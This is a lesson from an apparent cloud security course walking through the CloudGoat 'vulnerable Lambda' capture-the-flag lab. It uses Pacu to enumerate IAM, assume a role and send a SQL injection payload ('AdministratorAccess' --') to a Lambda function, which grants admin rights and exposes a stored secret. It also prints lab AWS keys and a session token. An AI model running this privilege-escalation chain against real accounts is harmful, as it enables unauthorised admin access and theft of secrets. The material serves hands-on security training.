
Alright, so in the prior lesson we created this lab environment. Now, letʼs run through the scenario and learn how we can

exploit a vulnerable Lambda function in order to gain admin access.

Start Pacu

Letʼs spin up Pacu if you donʼt already have it up and running.

If you created a virtual environment for Pacu when you installed it as I showed in the first installation option, you will need to

run this command first (within the Pacu directory):

source venv/bin/activate

Then you can run pacu:

% pacu
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Found existing sessions:
  [0] New session
  [1] pacu-test
  [2] cybr-course

You can resume the session you had created for this course, or you can create a new session if you need to — regardless of

your choice, weʼre going to need to update our access key ID and secret access key.

Update credentials to the Bilbo user creds

Type in the command:

> set_keys

And use the Bilbo credentials generated by CloudGoat:

Pacu (cybr-course:None) > set_keys
Setting AWS Keys...
Press enter to keep the value currently stored.
Enter the letter C to clear the value, rather than set it.
If you enter an existing key_alias, that key's fields will be updated instead of added.
Key alias must be at least 2 characters

Key alias [None]: bilbo
Access key ID [AKIAT6ZKEI3ERS4YCCQS]: AKIAT6ZKEI3EXH3ZPB2N
Secret access key [Kj0e4N39LRZAJbi4R8NO********************]: BaJR5CUk4Ofdisf5EMrT5OsG/kRuKf5PgH5Mr9vP
Session token (Optional - for temp AWS keys only) [None]: 

Keys saved to database.

(If you donʼt remember what those credentials are from the prior lesson, you can grab them from your CloudGoat directory,

ie: cat

/Users/christophe/Documents/Projects/cybr/teaching/cloudgoat/vulnerable_lambda_cgidbdmusq6y4k/start.txt  – your
path will be different)

Enumerate permissions

Alright, just like we did in the prior section, letʼs enumerate our permissions:

> run iam__enum_permissions
  Running module iam__enum_permissions...
[iam__enum_permissions] Confirming permissions for users:
[iam__enum_permissions]   cg-bilbo-vulnerable_lambda_cgidbdmusq6y4k...
[iam__enum_permissions]     Confirmed Permissions for cg-bilbo-vulnerable_lambda_cgidbdmusq6y4k
[iam__enum_permissions] iam__enum_permissions completed.

[iam__enum_permissions] MODULE SUMMARY:

  Confirmed permissions for user: cg-bilbo-vulnerable_lambda_cgidbdmusq6y4k.
  Confirmed permissions for 0 role(s).

Make sure that you are using the correct user — it should look something like: cg-bilbo-

vulnerable_lambda_cgidbdmusq6y4k . Just make sure youʼre not using the cloudgoat or pacu-example user we set up earlier

in the course!

We can also run whoami  to confirm our limited permissions:

> whoami

As we can see, all the permissions we have are iam  permissions. We donʼt have any AWS Lambda permissions, and yet we

are supposed to be exploited an AWS Lambda function that was created by CloudGoat.

How can we do that?

Well, AWS requires that services run with permissions, because otherwise those services would have no access to any other

AWS service. Lambda is no exception, especially because Lambda functions need to be able to execute. That means our
Lambda function is using some sort of role.

Since this user has the IAM permission of:

"iam:listroles": {
        "Resources": [
          "*"
        ]
      },

We can start by listing out all of the roles in this AWS account. We can do that by running ls  in pacu to list all of the

modules we have access to:

> ls

[Category: ENUM]
...
iam__enum_users_roles_policies_groups
...

Under the category ENUM  we will find:

iam__enum_users_roles_policies_groups

So letʼs run it:

> run iam__enum_users_roles_policies_groups
  Running module iam__enum_users_roles_policies_groups...
[iam__enum_users_roles_policies_groups] Found 3 users
[iam__enum_users_roles_policies_groups] Found 7 roles
[iam__enum_users_roles_policies_groups] Found 1 policies
[iam__enum_users_roles_policies_groups] Found 0 groups
[iam__enum_users_roles_policies_groups] iam__enum_users_roles_policies_groups completed.

[iam__enum_users_roles_policies_groups] MODULE SUMMARY:

  3 Users Enumerated
  7 Roles Enumerated
  1 Policies Enumerated
  0 Groups Enumerated
  IAM resources saved in Pacu database.

This will enumerate a complete list of users, roles, policies, and groups that are present in the account…but it doesnʼt
actually show us what the roles are. Instead, we can type in:

data iam roles

You should see a few different roles including something that looks like this:

{
    "Arn": "arn:aws:iam::272281913033:role/cg-lambda-invoker-vulnerable_lambda_cgidbdmusq6y4k",
    "AssumeRolePolicyDocument": {
      "Statement": [
        {
          "Action": "sts:AssumeRole",
          "Effect": "Allow",
          "Principal": {
            "AWS": "arn:aws:iam::272281913033:user/cg-bilbo-vulnerable_lambda_cgidbdmusq6y4k"
          },
          "Sid": ""
        }
      ],
      "Version": "2012-10-17"
    },
    "CreateDate": "Wed, 30 Aug 2023 19:33:46",
    "MaxSessionDuration": 3600,
    "Path": "/",
    "RoleId": "AROAT6ZKEI3EXQLWSERFY",
    "RoleName": "cg-lambda-invoker-vulnerable_lambda_cgidbdmusq6y4k"
  },
{
    "Arn": "arn:aws:iam::272281913033:role/vulnerable_lambda_cgidbdmusq6y4k-policy_applier_lambda1",
    "AssumeRolePolicyDocument": {
      "Statement": [
        {
          "Action": "sts:AssumeRole",
          "Effect": "Allow",
          "Principal": {
            "Service": "lambda.amazonaws.com"
          },
          "Sid": ""
        }
      ],
      "Version": "2012-10-17"
    },
    "CreateDate": "Wed, 30 Aug 2023 19:33:33",
    "MaxSessionDuration": 3600,
    "Path": "/",
    "RoleId": "AROAT6ZKEI3E4MTKJAPCC",
    "RoleName": "vulnerable_lambda_cgidbdmusq6y4k-policy_applier_lambda1"
  }

We can see that this role:

{
    "Arn": "arn:aws:iam::272281913033:role/cg-lambda-invoker-vulnerable_lambda_cgidbdmusq6y4k",
    "AssumeRolePolicyDocument": {
      "Statement": [
        {
          "Action": "sts:AssumeRole",
          "Effect": "Allow",
          "Principal": {
            "AWS": "arn:aws:iam::272281913033:user/cg-bilbo-vulnerable_lambda_cgidbdmusq6y4k"
          },
          "Sid": ""
        }
      ],
      "Version": "2012-10-17"
    },
    "CreateDate": "Wed, 30 Aug 2023 19:33:46",
    "MaxSessionDuration": 3600,
    "Path": "/",
    "RoleId": "AROAT6ZKEI3EXQLWSERFY",
    "RoleName": "cg-lambda-invoker-vulnerable_lambda_cgidbdmusq6y4k"
  },

Has:

An Action  of sts:AssumeRole  – which is a way of temporary assuming roles through the AWS Security Token Service

An Effect  of Allow

And a Principal  of arn:aws:iam::272281913033:user/cg-bilbo-vulnerable_lambda_cgidbdmusq6y4k  – which is our

Bilbo user (be sure to save or write down this value for later)

What this means is that this role grants assumeRole  access to our Bilbo user — this is not an uncommon way of granting

permissions to users across AWS accounts where you let the user assume a new role that grants them different permissions.

So, letʼs assume this role!

Letʼs use Pacuʼs search to find a module that will let us do this:

> search role

[Category: PERSIST]

    Creates a Lambda function and CloudWatch Events rule to backdoor new IAM roles.

    Creates assume-role trust relationships between users and roles.

  iam__backdoor_assume_role
  lambda__backdoor_new_roles

[Category: ENUM]

    Enumerates users, roles, customer-managed policies, and groups.

  iam__enum_users_roles_policies_groups

[Category: LATERAL_MOVE]

    Tries to assume any roles in a member account in a given organization

  organizations__assume_role

[Category: RECON_UNAUTH]

    Enumerates IAM roles in a separate AWS account, given the account ID.

  iam__enum_roles

Under the [Category: LATERAL_MOVE] , thereʼs a module named organizations__assume_role  which is exactly what we

need. Letʼs learn how to use it:

> help organizations__assume_role

organizations__assume_role written by Scott (@WebbinRoot:/in/webbinroot/).

Prerequisite Module(s): ['organizations__enum']

usage: pacu [--accounts ACCOUNTS [ACCOUNTS ...] | --accounts-file ACCOUNTS_FILE]
            [--roles ROLES [ROLES ...] | --roles-file ROLES_FILE]

This module accepts a list of AWS accounts and possible role names to try assuming all roles. You can
choose to specify accounts/roles to run it against, or just running the module will use the default
role in organizations on whatever accounts it can gain from a call to list_accounts. Note the caller
MUST have AssumeRole rights for this module to work correctly.

options:
  --accounts ACCOUNTS [ACCOUNTS ...]
                        Pass in a list of accounts to try assuming, --accounts 1 2 3
  --accounts-file ACCOUNTS_FILE
                        Pass in a filename containing a list of accounts to try assuming
  --roles ROLES [ROLES ...]
                        Pass in a list of roles to try assuming. If non are specified uses default
                        OrganizationAccountAccessRole, --roles a b c
  --roles-file ROLES_FILE
                        Pass in a filename containing a list of roles to try assuming

We can pass in an account ID, and the role that we want to assume.

We already know what role we want to assume, and we can easily find the account ID based on the ARN of the role:

arn:aws:iam::272281913033:role/cg-lambda-invoker-vulnerable_lambda_cgidbdmusq6y4k

Here, the account ID is 272281913033  and the role is cg-lambda-invoker-vulnerable_lambda_cgidbdmusq6y4k  which

means our command looks like this:

> run organizations__assume_role --accounts 272281913033  --roles cg-lambda-invoker-
vulnerable_lambda_cgidbdmusq6y4k

  Running module organizations__assume_role...
SUCCESS: arn:aws:iam::272281913033:role/cg-lambda-invoker-vulnerable_lambda_cgidbdmusq6y4k
[organizations__assume_role] organizations__assume_role completed.

[organizations__assume_role] MODULE SUMMARY:

The following roles can be assumed as shown below:
assume_role arn:aws:iam::272281913033:role/cg-lambda-invoker-vulnerable_lambda_cgidbdmusq6y4k

(Your information will be different, so donʼt just copy/paste what youʼre seeing here. Use your values instead.)

From our results, Pacu tells us to now run this command:

> assume_role arn:aws:iam::272281913033:role/cg-lambda-invoker-vulnerable_lambda_cgidbdmusq6y4k

AWS key is now cybr-course/arn:aws:sts::272281913033:assumed-role/cg-lambda-invoker-
vulnerable_lambda_cgidbdmusq6y4k/assume-role.
Pacu (cybr-course:cybr-course/arn:aws:sts::272281913033:assumed-role/cg-lambda-invoker-
vulnerable_lambda_cgidbdmusq6y4k/assume-role) >

Ok so now that weʼve assumed the role we need, itʼs time to list Lambda functions

> search lambda

> help lambda__enum

lambda__enum written by Alexander Morgenstern alexander.morgenstern@rhinosecuritylabs.com.

usage: pacu [--versions-all] [--regions REGIONS] [--checksource]

This module pulls data related to Lambda Functions, source code, aliases, event source mappings,
versions, tags, and policies.

options:
  --versions-all     Grab all versions instead of just the latest
  --regions REGIONS  One or more (comma separated) AWS regions in the format us-east-1. Defaults to
                     all session regions.
  --checksource      Download and scan all lambda functions for secrets. Warning this could effect
                     performance.

> run lambda__enum --regions us-east-1
  Running module lambda__enum...
[lambda__enum] Starting region us-east-1...
[lambda__enum] Access Denied for get-account-settings
[lambda__enum]   Enumerating data for vulnerable_lambda_cgidbdmusq6y4k-policy_applier_lambda1
[lambda__enum]   FAILURE:
[lambda__enum]     MISSING NEEDED PERMISSIONS
[lambda__enum]   FAILURE:
[lambda__enum]     MISSING NEEDED PERMISSIONS
[lambda__enum] lambda__enum completed.

[lambda__enum] MODULE SUMMARY:

  1 functions found in us-east-1. View more information in the DB

Weʼll see a couple of failure error messages but thatʼs alright, it doesnʼt prevent us from getting the information we needed.

Letʼs run data lambda  to view what was collected.

> data lambda
{
  "Functions": [
    {
      "Aliases": [],
      "Architectures": [
        "x86_64"
      ],
      "Code": {
        "Location": "<https://prod-iad-c1-djusa-tasks.s3.us-east-
1.amazonaws.com/snapshots/272281913033/vulnerable_lambda_cgidbdmusq6y4k-policy_applier_lambda1-efa7e1a2-c541-
41b2-ae9a-97520c9f7762?versionId=LnP6W1WjHtZLMsZ.mS7BiV3Y9uctv5oe&X-Amz-Security-
Token=IQoJb3JpZ2luX2VjEP3%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCID4XyQsbqnxPUFVLPLmQhNin%2BCCMy6D
HLiMLeZhWyEGXAiA2i%2BqXQQAM0YLMSzKh5yT%2FTyKhLtpt8EZJaqWZcsIgiyrDBQjF%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAQaDDQ3OT
IzMzAyNTM3OSIMJ9oHFJhHZbfxias0KpcFEKdfy5aBxufjB6gJpOoz8zY%2FC678yz0P4Xs%2FetrDcz9kaOVHcUlqzzQbHC3jOUzO15o2BNTl2
fk5Y%2B3zEqS8HNx0%2B7u7vct13CUKuFg3fgsmfSZaDH2SCNirdazmx3%2BL2yrsTteA9goH%2FoGh3DnlR875c0Z0ontnc4iGcjEr%2FcUzRx
vNKKOsCQ%2FaZdqNhYcx7jC6rcYlJJFfLu6E87k6s6eGU4eNi%2BgJxMxaZKfBpt%2BoH6a30YeOHOrzvii6WJILgaY63K5CQfIeNFU4Ap1h7Ak
YQ7t6TOOjIivrLJdOHuY4W3ZoXb950kaXPgX%2BmNCbQ57gRxQLMgXIcL4CNDbY5Jbc8qt977yAjEXcd5yYnoC%2Bo0XmifVrWkZP7mPjf3S%2F
5p4HHGVWjlQsUB%2FPlkGA2Xjf5E65IaKc6%2F%2F8gkdOGbNEWBfVEjmCzNBU0Szp0saKPzXGdI0EQ6N54VO5VQHsR99cEe0qWHPviQmDLXen9
GHWap1jbqQGVYh6njt1z9U14BnNYGwDVOkvRRQWKpyEg1Sco2pn6Fgysb7oQMV%2Bqx7k6Ib8%2FVA52Q0O93VWwNLpDGq8IwBAORxQnN0xqpxZ
shbGrQF%2Fa%2BOMxAt%2Bcng06ZWZGrfBg99RNgaTd%2F1R0ARqKnFCl02dA7PjJED7Es%2BEouDk%2FG4PfO54FGmkRm2mFBSBOLfDnfOduYh
h2%2FhvBR2e1BF9ZZOZg89do7yV69eBhqqngfQ8jo7OhAlnTGyzc3fmDTyeUosDwVucr%2BHUgVJXcpiFDdanDc%2FmpNxEuKVhKVMZGSbmzWuv
AGxWoDcVbhJ3N7%2FsipAEVLWj0YHis1bnLvZ9OEeJOdokjuACAaL10uzaNl6ryvFE1e0iO2rQ00dUbmbvlspSMJXGvqcGOrIBGleDvKSy7Tn79
rGrgR%2BKrlT9OwLl4Xctpf9lSYBglinN63jwfYkuMucWRQwuErP76m%2BQDOzoXiA4dDgj58FgaMflxjfNn96YmXc%2Fb28xyFDBc%2FE6JKKq
M1%2FwW%2BpqkIBwBIzEwfv%2FiJ%2B6wKo%2BVlHbP0Euj75vBcBNgwRsn18E5wL58tRhgBKhIbpVQ6R4NCrXAqxUIG%2FvcfJLjoa%2BFWeWE
YeVsIG9zNALSLiqYt%2FzZaQHLQ%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20230830T205429Z&X-Amz-
SignedHeaders=host&X-Amz-Expires=599&X-Amz-Credential=ASIAW7FEDUVRS33N6MPR%2F20230830%2Fus-east-
1%2Fs3%2Faws4_request&X-Amz-Signature=6c94f4b8a2f3f8b721c36335873667709add4886af9b9eeb4ce1b645ad74fb7b>",
        "RepositoryType": "S3"
      },
      "CodeSha256": "U982lU6ztPq9QlRmDCwlMKzm4WuOfbpbCou1neEBHkQ=",
      "CodeSize": 991559,
      "Description": "This function will apply a managed policy to the user of your choice, so long as the 
database says that it's okay...",
      "EphemeralStorage": {
        "Size": 512
      },
      "EventSourceMappings": [],
      "FunctionArn": "arn:aws:lambda:us-east-1:272281913033:function:vulnerable_lambda_cgidbdmusq6y4k-
policy_applier_lambda1",
      "FunctionName": "vulnerable_lambda_cgidbdmusq6y4k-policy_applier_lambda1",
      "Handler": "main.handler",
      "LastModified": "2023-08-30T19:33:40.389+0000",
      "MemorySize": 128,
      "PackageType": "Zip",
      "Policy": [],
      "Region": "us-east-1",
      "RevisionId": "64007220-e18c-4b2d-a7cf-de69316fac31",
      "Role": "arn:aws:iam::272281913033:role/vulnerable_lambda_cgidbdmusq6y4k-policy_applier_lambda1",
      "Runtime": "python3.9",
      "SnapStart": {
        "ApplyOn": "None",
        "OptimizationStatus": "Off"
      },
      "Tags": {
        "Name": "cg-vulnerable_lambda_cgidbdmusq6y4k",
        "Scenario": "vulnerable-lambda",
        "Stack": "CloudGoat"
      },
      "Timeout": 3,
      "TracingConfig": {
        "Mode": "PassThrough"
      },
      "Version": "$LATEST"
    }
  ]
}

Save the FunctionName  for later use.

"FunctionName": "vulnerable_lambda_cgid86xfj77paj-policy_applier_lambda1",

Using the Location  information URL, we can download the source code of the Lambda function from our browser:

https://prod-iad-c1-djusa-tasks.s3.us-east-
1.amazonaws.com/snapshots/272281913033/vulnerable_lambda_cgidbdmusq6y4k-policy_applier_lambda1-efa7e1a2-c541-
41b2-ae9a-97520c9f7762?versionId=LnP6W1WjHtZLMsZ.mS7BiV3Y9uctv5oe&X-Amz-Security-
Token=IQoJb3JpZ2luX2VjEP3%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCID4XyQsbqnxPUFVLPLmQhNin%2BCCMy6D
HLiMLeZhWyEGXAiA2i%2BqXQQAM0YLMSzKh5yT%2FTyKhLtpt8EZJaqWZcsIgiyrDBQjF%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAQaDDQ3OT
IzMzAyNTM3OSIMJ9oHFJhHZbfxias0KpcFEKdfy5aBxufjB6gJpOoz8zY%2FC678yz0P4Xs%2FetrDcz9kaOVHcUlqzzQbHC3jOUzO15o2BNTl2
fk5Y%2B3zEqS8HNx0%2B7u7vct13CUKuFg3fgsmfSZaDH2SCNirdazmx3%2BL2yrsTteA9goH%2FoGh3DnlR875c0Z0ontnc4iGcjEr%2FcUzRx
vNKKOsCQ%2FaZdqNhYcx7jC6rcYlJJFfLu6E87k6s6eGU4eNi%2BgJxMxaZKfBpt%2BoH6a30YeOHOrzvii6WJILgaY63K5CQfIeNFU4Ap1h7Ak
YQ7t6TOOjIivrLJdOHuY4W3ZoXb950kaXPgX%2BmNCbQ57gRxQLMgXIcL4CNDbY5Jbc8qt977yAjEXcd5yYnoC%2Bo0XmifVrWkZP7mPjf3S%2F
5p4HHGVWjlQsUB%2FPlkGA2Xjf5E65IaKc6%2F%2F8gkdOGbNEWBfVEjmCzNBU0Szp0saKPzXGdI0EQ6N54VO5VQHsR99cEe0qWHPviQmDLXen9
GHWap1jbqQGVYh6njt1z9U14BnNYGwDVOkvRRQWKpyEg1Sco2pn6Fgysb7oQMV%2Bqx7k6Ib8%2FVA52Q0O93VWwNLpDGq8IwBAORxQnN0xqpxZ
shbGrQF%2Fa%2BOMxAt%2Bcng06ZWZGrfBg99RNgaTd%2F1R0ARqKnFCl02dA7PjJED7Es%2BEouDk%2FG4PfO54FGmkRm2mFBSBOLfDnfOduYh
h2%2FhvBR2e1BF9ZZOZg89do7yV69eBhqqngfQ8jo7OhAlnTGyzc3fmDTyeUosDwVucr%2BHUgVJXcpiFDdanDc%2FmpNxEuKVhKVMZGSbmzWuv
AGxWoDcVbhJ3N7%2FsipAEVLWj0YHis1bnLvZ9OEeJOdokjuACAaL10uzaNl6ryvFE1e0iO2rQ00dUbmbvlspSMJXGvqcGOrIBGleDvKSy7Tn79
rGrgR%2BKrlT9OwLl4Xctpf9lSYBglinN63jwfYkuMucWRQwuErP76m%2BQDOzoXiA4dDgj58FgaMflxjfNn96YmXc%2Fb28xyFDBc%2FE6JKKq
M1%2FwW%2BpqkIBwBIzEwfv%2FiJ%2B6wKo%2BVlHbP0Euj75vBcBNgwRsn18E5wL58tRhgBKhIbpVQ6R4NCrXAqxUIG%2FvcfJLjoa%2BFWeWE
YeVsIG9zNALSLiqYt%2FzZaQHLQ%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20230830T205429Z&X-Amz-
SignedHeaders=host&X-Amz-Expires=599&X-Amz-Credential=ASIAW7FEDUVRS33N6MPR%2F20230830%2Fus-east-
1%2Fs3%2Faws4_request&X-Amz-Signature=6c94f4b8a2f3f8b721c36335873667709add4886af9b9eeb4ce1b645ad74fb7b

Go ahead and extract the ZIP archive and open it with your favorite text editor.

cd Downloads/vulnerable_lambda_cgidbdmusq6y4k-policy_applier_lambda1-efa7e1a2-c541-41b2-ae9a-97520c9f7762/

code .

Feel free to take a closer look at what this Lambda function is doing (in main.py ), but as a summary, the code in here

receives a policy name to apply to a username. One of the policies we can assign is the AdministratorAccess , so we can

pass in our Bilbo user name which is the original user we were authenticated as (if you remember from our whoami ):

cg-bilbo-vulnerable_lambda_cgidvsjwkessad

We want to invoke this Lambda function to grant our bilbo user admin access, which is something we could do via the AWS

console or via the AWS CLI. For this letʼs use the AWS shell CLI.

Back in Pacu, type:

help aws

    aws <command>
        Use the AWS CLI directly. This command runs in your local shell to use the AWS CLI. Warning: The AWS 
CLI's authentication is not related to Pacu. Be careful to ensure that you are using the keys you want when 
using the AWS CLI. It is suggested to use AWS CLI profiles to help solve this problem

We can actually run AWS CLI commands directly through Pacu.

Weʼre going to cheat a little bit here just to save some time because this lesson is already long…letʼs take a look at the

CloudGoat cheat sheet for this scenario here.

Under #5, weʼll see something like this:

aws --profile assumed_role --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgidbdmusq6y4k-
policy_applier_lambda1 --cli-binary-format raw-in-base64-out --payload '{"policy_names": 
["AdministratorAccess'"'"' --"], "user_name": cg-bilbo-vulnerable_lambda_cgidbdmusq6y4k}' out.txt

We need to replace a few values:

[policy_applier_lambda_name]  with the lambda function name:

[bilbo_user_name_here]  with the bilbo user: cg-bilbo-vulnerable_lambda_cgidbdmusq6y4k  (yours will be slightly

different, you can run a search in your terminal to find it)

The problem with this command is that itʼs not going to work. We instead need to craft it a bit differently.

> aws --profile assumed_role --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgidbdmusq6y4k-
policy_applier_lambda1 --cli-binary-format raw-in-base64-out --payload '{"policy_names": 
["AdministratorAccess'"'"' --"], "user_name": cg-bilbo-vulnerable_lambda_cgidbdmusq6y4k}' out.txt
Note: AWS CLI version 2, the latest major version of the AWS CLI, is now stable and recommended for general 
use. For more information, see the AWS CLI version 2 installation instructions at: 
<https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2.html>

usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
To see help text, you can run:

  aws help
  aws <command> help
  aws <command> <subcommand> help

Unknown options: --cli-binary-format, out.txt

To help us craft this command in Pacu, letʼs go over to ChatGPT and letʼs type this prompt in:

Can you help me fix this command so I can pass it into Pacu, the offensive security tool? Let's remove --cli-
binary-format and its option, and let's replace [policy_applier_lambda_name] with "" and [bilbo_user_name_here] 
with ""

Weʼll get back something like this:

aws --profile assumed_role --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgidbdmusq6y4k-
policy_applier_lambda1 --cli-binary-format raw-in-base64-out --payload '{"policy_names": 
["AdministratorAccess'"'"' --"], "user_name": cg-bilbo-vulnerable_lambda_cgidbdmusq6y4k}' out.txt

Weʼre still getting the same error though, and it says:

Unknown options: --cli-binary-format, out.txt

So we can see that it doesnʼt like the options --cli-binary-format  or out.txt , letʼs remove the first, and letʼs add an

option of --output text out.txt  at the end.

I know this from experience but you could also find this out by typing in aws help  and taking a look at options from Pacu.

Letʼs have ChatGPT do this for us:

Please remove --cli-binary-format and change the out.txt to --output text out.txt

aws --profile assumed_role --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgidbdmusq6y4k-
policy_applier_lambda1 --payload '{"policy_names": ["AdministratorAccess", "--"], "user_name": "cg-bilbo-
vulnerable_lambda_cgidbdmusq6y4k"}' --output text out.txt

Letʼs copy/paste that command into Pacu:

> aws --profile assumed_role --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgidbdmusq6y4k-
policy_applier_lambda1 --payload '{"policy_names": ["AdministratorAccess", "--"], "user_name": "cg-bilbo-
vulnerable_lambda_cgidbdmusq6y4k"}' --output text out.txt

The config profile (assumed_role) could not be found

OK so we still get an error but weʼre making progress. Itʼs saying that The config profile (assumed_role) could not be

found

We donʼt actually want to provide a profile name in this case, so letʼs strip that out. Weʼve assumed the correct credentials

through Pacu, not through a profile name, which is why this doesnʼt work.

> aws --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgidbdmusq6y4k-policy_applier_lambda1 
--payload '{"policy_names": ["AdministratorAccess", "--"], "user_name": "cg-bilbo-
vulnerable_lambda_cgidbdmusq6y4k"}' --output text out.txt
$LATEST 200

You should see a $LATEST 200  return message, which indicates a success message.

Open up a separate terminal window than the Pacu one, but make sure youʼre still in the Pacu directory. Then, type:

cat out.txt

"AdministratorAccess is not an approved policy, please only choose from approved policies and don't cheat. :) 
"%

Unfortunately, the Lambda function prevents us from using the AdministratorAccess policy because the author of that

function added a security control…except for the fact that thereʼs an injection vulnerability.

AWS Lambda is not immune to injections, especially since this one is using a SQLite database, which means we can use SQL

injections.

For the sake of time and since thatʼs not the focus of this course, I can tell you what the injection looks like, and we need to

use this:

["AdministratorAccess'"'"' --"]

Letʼs go back to our command and letʼs update the policy name to match this injection.

In ChatGPT, we can ask it to update this:

Please update the aws lambda invoke call earlier by replacing the "AdministratorAccess", "--" with 
["AdministratorAccess'"'"' --"]

aws --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgidbdmusq6y4k-policy_applier_lambda1 --
payload '{"policy_names": ["AdministratorAccess'"'"' --"], "user_name": "cg-bilbo-
vulnerable_lambda_cgidbdmusq6y4k"}' --output text out.txt

You should once again see a $LATEST 200  so letʼs go back and cat the out.txt  file

cat out.txt
"All managed policies were applied as expected."%

This time, we see a successful message!

We can now return back to our initial user before we assumed this role:

swap_keys

Swapping AWS Keys. Press enter to keep the currently active key.
AWS keys in this session:
  [1] cloudgoat
  [2] cloudgoat/arn:aws:sts::272281913033:assumed-role/cg-lambda-invoker-
vulnerable_lambda_cgidvsjwkessad/assume-role (ACTIVE)
Choose an option: 1
AWS key is now cloudgoat.

Verify that we are back to the bilbo  user:

> run iam__enum_permissions

Running module iam__enum_permissions...
[iam__enum_permissions] Confirming permissions for users:
[iam__enum_permissions]   cg-bilbo-vulnerable_lambda_cgidbdmusq6y4k...
[iam__enum_permissions]     Confirmed Permissions for cg-bilbo-vulnerable_lambda_cgidbdmusq6y4k
[iam__enum_permissions] iam__enum_permissions completed.

[iam__enum_permissions] MODULE SUMMARY:

  Confirmed permissions for user: cg-bilbo-vulnerable_lambda_cgidbdmusq6y4k.
  Confirmed permissions for 0 role(s).

So we are indeed the Bilbo user, but now if we run:

> whoami

We will see a lot more permissions! We successfully elevated our privileges.

To complete this scenario, letʼs list secrets from the secrets manager:

> run enum__secrets --regions us-east-1

  Running module enum__secrets...
[enum__secrets] Starting region us-east-1...
[enum__secrets] enum__secrets completed.

[enum__secrets] MODULE SUMMARY:

    1 Secret(s) were found in AWS secretsmanager
'    0 Parameter(s) were found in AWS Systems Manager Parameter Store    
    Check ~/.local/share/pacu/<session name>/downloads/secrets/ to get the values

It gives us a path to where the secrets were stored which we can cat

% cat ~/.local/share/pacu/cybr-course/downloads/secrets/secrets_manager/secrets.txt

vulnerable_lambda_cgidbdmusq6y4k-final_flag:cg-secret-846237-284529

..and weʼve captured the flag!

The vulnerable_lambda_cgidbdmusq6y4k-final_flag  is the secret name, while the cg-secret-846237-284529  is the

secret value that should be kept secret and should only be visible to admins or users with explicit permissions.

Congratulations, youʼve just exploited a SQL injection vulnerability in an AWS Lambda function to grant your user admin

privileges, which allowed you to then view secrets stored in AWS!

“The Security Token Included in the Request Expired”

By the way, if at any point in time you get this error message:

An error occurred (ExpiredTokenException) when calling the Invoke operation: The security token included in the 
request is expired

Itʼs because your credentials expired. You can either swap_keys  and select the Bilbo, or you can re-run set_keys  but

leave everything as it is except for the Session token. For that, youʼll want to type in an empty space to set it, because

otherwise it will keep the current expired token. So press enter through all of the fields to keep what you already have except

for the session token field.

Access key ID [AKIAT6ZKEI3EXH3ZPB2N]: 
Secret access key [BaJR5CUk4Ofdisf5EMrT********************]: 
Session token (Optional - for temp AWS keys only) 
[FwoGZXIvYXdzEA4aDEhH36KWPWjVL5VJ9SKvAYqPNWtBXJL2jdxDeeHA2KXU/JXgFMfO0kyAz67m/bD4/RMS1rhOzdEzOyrPkXAHTU4Xf2Lz1N
ckf4wSLR6EJutFYFBVNS2dXMwqALOJAHZJNv1H9SsJlTKDbyJD8CMFgodoub28YBryI4mJsiMOLQDYwuCBSkxMWgxDQBTTTvfoK7WblrmZgkNlS
UnVLY5oog5QZFet4YKHyCcnwg+OA23WyJ3IhpuwJVfr4osU1pgo/Ne+pwYyLfF6hMtpFUyxo3qEFkLqi7sCwbJxyuY434lG1FEOvAwVefAP4KNf
2xuA/V4bRw==]:

Then we have to re-assume that prior role:

> run organizations__assume_role --accounts 272281913033  --roles cg-lambda-invoker-
vulnerable_lambda_cgidbdmusq6y4k

  Running module organizations__assume_role...
SUCCESS: arn:aws:iam::272281913033:role/cg-lambda-invoker-vulnerable_lambda_cgidbdmusq6y4k
[organizations__assume_role] organizations__assume_role completed.

[organizations__assume_role] MODULE SUMMARY:

The following roles can be assumed as shown below:
assume_role arn:aws:iam::272281913033:role/cg-lambda-invoker-vulnerable_lambda_cgidbdmusq6y4k

Conclusion

Weʼve just completed our very first CloudGoat CTF challenge. Next, itʼs time to clean up our environment before moving on to

the next challenge. See you there!

[DEMO] Exploiting vulnerable Lambda functions
for admin access

Christophe August 27, 2023

Responses

James

November 15, 2024

Iʼm trying to understand this:
[“AdministratorAccess'”‘”‘ –“]
Your steps works and I managed to observe the same flag. Possible to share with me of the purpose of the ‘ and the ” in the payload
(JSON cli)?

However, when I tried to follow this in the cloudgoat github (the payload.json appears ‘easierʼ to understand, it did not work.
# Create the following SQL injection payload in a local JSON file, called ‘payload.json.̓
# Replace [bilbo_user_name_here] with the bilbo username.
{
“policy_names”: [“AdministratorAccessʼ — “],
“user_name”: “[bilbo_user_name_here]”
}

# The following command will send a SQL injection payload to the lambda function
aws –profile assumed_role –region us-east-1 lambda invoke –function-name [policy_applier_lambda_name] –cli-binary-format raw-in-
base64-out –payload file://./payload.json out.txt

# cat the results to confirm everything is working properly
cat out.txt

Reply

Christophe

November 17, 2024

Hey, I remember having the same issue with the cheat sheet payload, which is why I ended up tweaking it. I should have taken better
notes as now I need to go back through the reasoning as well haha 🙂 Iʼll need to spin up the environment and play around with it to
verify this, which Iʼm hoping to do this afternoon.

However, in the meantime, let s̓ break it down…

The entire payload gets wrapped in single quotes to generate a JSON string ( '{"policy_names":
["AdministratorAccess'"'"' --"], "user_name": "cg-bilbo-vulnerable_lambda_cgidbdmusq6y4k"}' ).

Then, the JSON string has a JSON object literal with key/value pairs (“policy_names” and “user_name” keys and their corresponding
values). IIRC, the policy name value wasnʼt being passed in properly to the Lambda function unless it had the additional double and
single quotes…but in the end, it should end up as AdministratorAccess' --  like in the cheat sheet since each of the double
and single quotes negate each other out except for that 1 single quote:

– Initial payload: ["AdministratorAccess'"'"' --"]
– Removing wrapping double quotes: [AdministratorAccess'"'"' --]
